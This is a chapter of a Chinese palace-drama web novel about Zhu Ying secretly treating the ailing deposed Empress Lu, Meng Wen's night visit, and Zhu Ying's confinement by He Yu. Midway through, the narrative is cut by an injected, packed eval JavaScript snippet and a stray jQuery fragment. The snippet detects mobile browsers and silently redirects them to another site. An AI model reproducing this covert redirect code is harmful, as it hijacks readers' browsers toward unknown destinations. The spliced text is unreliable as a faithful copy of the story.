日出了,有人推开门,晨光斜斜地照进屋子里来,在地上拉出一道很长的影。
先进来两个端着盥洗盆与面巾的宫人,随后是孟闻。
他一走进内室,就看见帐间坐立的人影,脚步不由慢了几分。
陆皇后本还与陆芃执手相看泪眼,闻着人声,即刻抹去脸上泪,竭力端坐着,脸上又漾开了笑。
她早没有那副尊容了,时至今日,只能尽力去维持一些体面,好叫身边人少担心一些。
孟闻道:“母亲醒了。”
陆芃掀帐出去,道:“姑母刚醒,表兄先回避,让我为她梳洗。”
今日无需由他来沃面了,他只道一声“好”,便退出门去,在屋外候着。
自受困西苑以来,母亲许久不言笑,直到见了陆芃。孟闻踏入宫室中,见她执手喜极而泣,恍惚间以为是错觉。
这幅神情,他很久没见过。
他一直都知晓“家人”在母亲心中的分量。
她曾为此疯过一场,后来病好了,恢复了清明,却是再不肯将心绪流露出半点。
直至今日失而复得,他才能见到那些奢侈的情绪。
爱也好,憎也罢,总该将这些情愫袒露些许,才能令自己好受些许。不若如此,便会像枯枝败叶,在心中堆积腐化。
孟闻低着头数光阴,屋檐遮不住的晨光照在脚下,又一寸一寸地右移。
今日梳洗格外地久。
他一个人站在檐下,听麻雀叽叽喳喳,看枝头白霜融化。
陆芃推门而出,道:“好了,表兄可以进去了。”
孟闻进屋,待宫人端了热粥来,侍奉母亲用膳。
陆皇后睡了多时,这会还有些恍惚,没同他说太多话。
孟闻的话也格外少,像心中有愧似的,对他在朝中、在秘阁里的事一概不提。
用完早膳,他又将往外廷去了。
陆芃一道出门,同他说起:“晨间我替姑母梳头,听她说起过往一些事,有些事我竟全然不记得,不免觉得奇怪。”
孟闻虽习以为常,还是忍不住叹道:“她有时混淆了,会记错许多事。不必在意。”
陆芃道:“会好起来的。”
孟闻道:“留在鸣鸾宫里吧,她想你多陪陪她。”
陆芃道:“那栖梧宫那边——”
孟闻道:“我会处理妥当的,杜修容不是来找过母亲吗?虽不知那日她与母亲说了些什么,总归绕不开孟望。就当是我欠了她一个人情,日后还到四郎身上。”
她为何没死?当年是怎么逃过了一劫?又是如何在深宫中捱过数年?
孟闻默默看着,选择在母亲面前咽下这些困惑,不再提起旁的。
至少她当真是陆家的女儿,是世上另一个与母亲有血缘联系的人。
鸣鸾宫调来一个新的侍卫,唤做符离,不像别的侍卫那样四处巡守,只需专门护着陆芃。她身份特殊,在陆氏一案沉冤昭雪之前,万不敢摆到明面上来。
鸣鸾宫里大多都是皇帝安排的人,未必信得过,她只能如此藏着。
竺影还是只在夜半无人时过来。
第二夜依旧用了同样的,扮作送夜食的宫女,但比以往顺遂得多。
昨夜那两个值守的宫人不知去了何处,只有一个守卫在门口,披着银鼠冬袄,腰间悬一柄长剑,大半张脸匿在风帽下,像尊石狮子定定立在门前。
看着不近人情,却并未拦她。
陆皇后用过安神的药,夜里睡得沉,便是施针时也不会醒。
但她在睡梦中也会察觉痛楚,微微皱眉。
竺影拔了针,叹气道:“皇后身子太虚,针灸不过拆东补西,不是长久之计。”
陆芃问:“其后该怎么办?”
竺影问她:“太医都给她开些什么药?”
陆芃道:“不清楚,得等明日我去问一问,再告知你。”
“好。”
竺影看一眼窗外,不见星,也不见月,只有黑漆漆的一片。
不出暖阳不得天补,满地白雪不得地补,郁郁寡欢不得人补。
“且看能不能熬过这个冬日吧,待到春日就好了……阳气始上,万物荣发,人也是一样的。”她只能这样说。
陆芃才高兴不久,又心下一沉:“也就是说……还是……”
竺影道:“得看她自己,想活之人自有生路,求死之人终难救。”
陆芃噙着苦笑:“还是多谢你。”
竺影冷道:“不必,我不愿过多亏欠而已。”
拾掇好针灸包,刚要踏出门,忽闻门外人声。
“殿下怎么来了?”
寒夜里,他声音蓦地高亢,盖过风声。
另一人道:“噤声,勿惊扰她。”
脚步声近,陆芃与竺影相觑一眼,赶紧放下陆皇后的床帐,拉着竺影藏在屏风后。
“嘘——”陆芃叮嘱她说,“别说话,他一会儿就走。”
前去开门,孟闻进了门,看向内闱道:“我来看看母亲。”
“安好,睡着。”陆芃放低声音,简单回道。
“嗯。”他轻声应答,又轻手轻脚走向榻边,坐在脚踏上,隔着一帘帷帐探去目光。
隔着一道屏风,隔着内室与外室,竺影似乎听到了他的叹息声。
她心想着,许是在查案时碰到些棘手的事,不得进展。她深知那案子难办,也为此困顿了多年。
只听他对着帷帐自言自语:“母亲卧在病榻,儿本不该远行。可是母亲训斥儿的事,儿在今夜有了答案。北地须得去的,儿明日会去鸿嘉殿自请。料到母亲不会同意,不敢说,却又不能不说。儿无用,能做的太少,只盼着尽我力所能及之事,解母亲心结,让您少些劳忧。只盼着您好过来,福寿延绵……”
孟闻说完这些,似乎轻松许多。
他走出内室,见案上食盒还没收拾。
“你夜里会叫人送吃食?”
陆芃道:“是,夜里会饿。但只叫人送到门外,不会打扰到姑母。”
孟闻没说什么,只道:“是我考虑不周了,这段时日多辛苦你。”
陆芃道:“说的什么话?她也是我的姑母。”
孟闻朝她疲惫一笑,又离去。
屏风后的人,他果真不曾发觉。
终于走了,陆芃长出一口气。
竺影从屏风后出来,问起:“门口那个侍卫怎么回事?”
他明知陆芃撒了谎,放了个宫女进来,却没告诉孟闻。
陆芃道:“是表兄派来保护我的。”
既是三皇子安排的人,竟依然阳奉阴违,就更奇怪了。
不等竺影道出心中顾忌,陆芃又保证道:“他信得过,你的事不会有第三人知晓。”
竺影心中祈祷:“但愿如此。”
背着二皇子、背着宜夫人行事,这样的情况有过,却不多。她总是谨慎得不能再谨慎,小心得不能再小心。事情败露的下场可想而知,竺影也不知道自己哪来这么大胆子,会答应陆芃,去救一个与自己无甚牵连的人。
偏偏还是宜夫人从前的死对头。
不敢多留,她笼起袖子又踏进夜幕里了。
第三日夜,本还要到鸣鸾宫去的。
竺影刚出停雪轩外廊,道上突然闪出个黑影,不免心中一悸。
那人挽着利落的发髻,一身黑衣,抱剑挡在她面前。
是禾玉。
她冷声开口:“你去何处?”
竺影所担心的这天终于还是来了,她道:“没去哪里。”
禾玉道:“我会信?”
“随你。”
她没拔剑,竺影便绕开她。
禾玉在她身后道:“回停雪轩,或是我把你绑到夫人面前,你自己选。”
竺影叹口气,止住了脚步。
其实只有一条路可选啊,可鸣鸾宫的人怎么办?陆芃还不知晓这突如其来的变故,今夜怕是等不到她了。
停雪轩里亮起一盏灯,禾玉像是要盯她一晚上,此时竟开始煮茶。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361919|183722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
竺影在窗前坐着,心中万分不安。
禾玉却安然坐在屋中喝茶,还眨了眨眼冲她笑:“要给你倒一杯吗?”
“不用!”竺影一手拍落她的茶杯,质问道,“你是殿下的人,还是夫人的人?”
禾玉道:“有什么差别吗?你我所做的一切,不都是为了殿下?”
竺影道:“当然有。”
禾玉不同她解释更多,只劝道:“殿下已经不在宫中了,没人能护着你,不想吃苦头就安分些,别去想那些不该做的事。”
竺影脑中冒出一个念头:“你是陈氏的人。”
禾玉只是笑笑,不说话。
竺影又问:“是夫人,还是尚书令?鸣鸾宫那位出事,是在殿下离宫后,你们连他也要瞒?”
禾玉又捧起一杯茶来,轻嗅茶香,慢慢道:“别猜了,别猜了……再猜下去,连我都不敢留你了呢。你留着一个陆家人,已是在给殿下添麻烦了,其实那日去栖梧宫,我就想杀了她。”
竺影遂住了口,她知道此人不会说玩笑话。
禾玉道:“虽然殿下吩咐过,让我留在宫中保护你,可你若出了静和宫,我可保不住。”
“罢了,罢了……”竺影捂住脑袋,将外头那些事从脑子里摘出去,迫使自己冷静下来。
窗户敞开着,外头的风总还是会吹进来。
“冷些,果然使人清醒的。”她自言自语。
从前孟明谌也这样说。
禾玉被冻得打了个寒战,骂了一句“有病”,前去将两扇窗合上。
门窗隔绝,风声小了许多,透过缝隙,像在呜咽。
延都的北风干而烈,比吹至云琅的风更凛冽些。
竺影仍记得永朔七年,她随父亲来到京城,延都落下那年冬的第一场雪。
她从并州来,不受京中女郎待见,只有一位同龄的小女郎朝她伸手,邀她为伴。
那小女郎正是陆皇后的侄女。
她们初识在宫中,奈何天意弄人,重逢仍在宫里,只不过从琼筵到了掖庭。
延都的冬夜漫长,两个罪臣之女只能彼此依偎,望着掖庭残破的窗,靠着从对方身上汲取一丝暖意,熬到天明。
那样难捱的冬,竺影只体会了一次,第二年冬就随孟明谌到了静和宫。
如今她眼前也有这样一扇窗,镂花窗格上涂着清漆,镶以月银色的窗纱,阻却风霜。
竺影没回榻上,只伏着案入眠。
禾玉冷眼看她折腾自己,不想劝,也不离去。
她看着眼前繁华,与虚无缥缈的来日,同自己周旋。
不知是否还要铤而走险。
“可是她想活,她想活着啊……”
竺影心里就剩这么个念头。
她看到了陆皇后睡梦里的挣扎,七年来身存魂亡,只剩一副躯壳游走于世间。分明她与陆芃相认不久,才刚燃起一丝求生的希望……
待她想活着。
朝中那些人不肯让她活。
他们好不容易才把陆氏拉下去,废后废太子,重新扶持起新的势力。又怎么会让她再回去,回到原来的位置上去?
这是前朝的斗争,与竺家的女郎没有关系。
一个已废的皇后,不在齐王的谋算里,也可以不在她的算计里。
无关紧要,可以舍弃。
竺影在停雪轩关了两日,心中那一点冲动在两日后逐渐平息。
雪已经停了好久,地上的积雪也化了。
她在窗前看檐下融雪,不抱手炉,也不披冬袄。
禾玉走到她身边,劝了一句:“很快就结束了,别犯傻。”
“一定得有人身死么?”竺影道。
禾玉看着她,答非所问:“到底是在宫里待了六年的人,不该这样愚钝和天真。”
“砰——”
巨大的声响惊得桌上摆设震起。
竺影似泄愤般,举起烛台砸向窗子,在月银窗纱上留下一个窟窿。
“唉。”禾玉摇了摇头,最后还是走了。